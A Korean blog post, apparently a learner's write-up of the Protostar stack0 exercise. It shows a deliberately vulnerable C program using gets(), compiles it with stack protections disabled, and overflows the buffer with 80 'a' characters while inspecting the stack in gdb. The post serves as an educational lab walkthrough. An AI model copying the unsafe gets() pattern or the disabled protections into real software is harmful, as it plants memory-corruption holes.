프로토스타

[프로토스타] stack0

-dP- 2019. 1. 4. 14:36

stack0.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }


출처 : http://liveoverflow.com/binary_hacking/protostar/stack0.html





1. 문제해결


1-1. vmware - 칼리리눅스 기반


1-2. stack0.c 저장



gedit stack0.c 콘솔에 입력


Alt + Tab이 가능하게 콘솔 창에서 Ctrl + z를 누른 후 bg 입력


스택 구조

buffer

modifided

ebp

ret


1-3. 컴파일



칼리가 버전업 되면서 gcc -o stack0 stack0.c 컴파일 하면 스택 공격 불가

따라서 gcc -w -z execstack -no-pie -o stack0 stack0.c 컴파일

실행 파일이 생성 됐음을 확인할 수 있다.


1-4. stack0 실행 후 modified 변경 


64개 입력하면 덮어씌워지려나? 해서 64개 입력 안 됨

70개도 안 됨. 75개도 안 됨.

80개 됨.

buffer + dummy + sfp 이건가... 구하는 방법이 있었는데 기억이 안 나서 다시 공부해야 함.



2. 분석


2-1. gdb로 분석



현재 peda가 다운로드된 상태이므로 peda 다운로드가 안 되어 있을 시,

gdb ./stack0

set disassembly-flavor intel (어셈블리 명렁어 앞에 $ 없애줌) (리틀 앤디안 방식)


브레이크 포인트 누산기 위치(eax)에 걸어준다.

b *main+42

run을 해주고


python -c "print('a'*80)" 코드로 생성한 80개의 a를 복사/붙여넣기한다.


80 바이트인 이유는 main+8과 main+15에 뺀 값이기 때문이다

0x54 - 0x4 = 0x50 // 16진수이므로 16^0 * 0 + 16^1 * 5 = 80


2. modified 위치



main+39를 보면 rbp-0x4로 돼 있다.

이게 modified의 주소다.

x/30gx $rsp로 stack pointer 위치 확인

info reg $rbp

rbp-0x4를 살펴보면 0x6161616161616161 잘 들어가 있다.


GDB 명령어 : http://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4


3. 레지스터 eax 확인




info reg $eax



참고 자료 : https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/


'프로토스타' 카테고리의 다른 글

[프로토스타] stack5-1 (스택 접근)  (0) 2019.01.10
[프로토스타] stack4  (0) 2019.01.09
[프로토스타] stack3  (0) 2019.01.09
[프로토스타] stack2  (0) 2019.01.09
[프로토스타] stack1  (0) 2019.01.08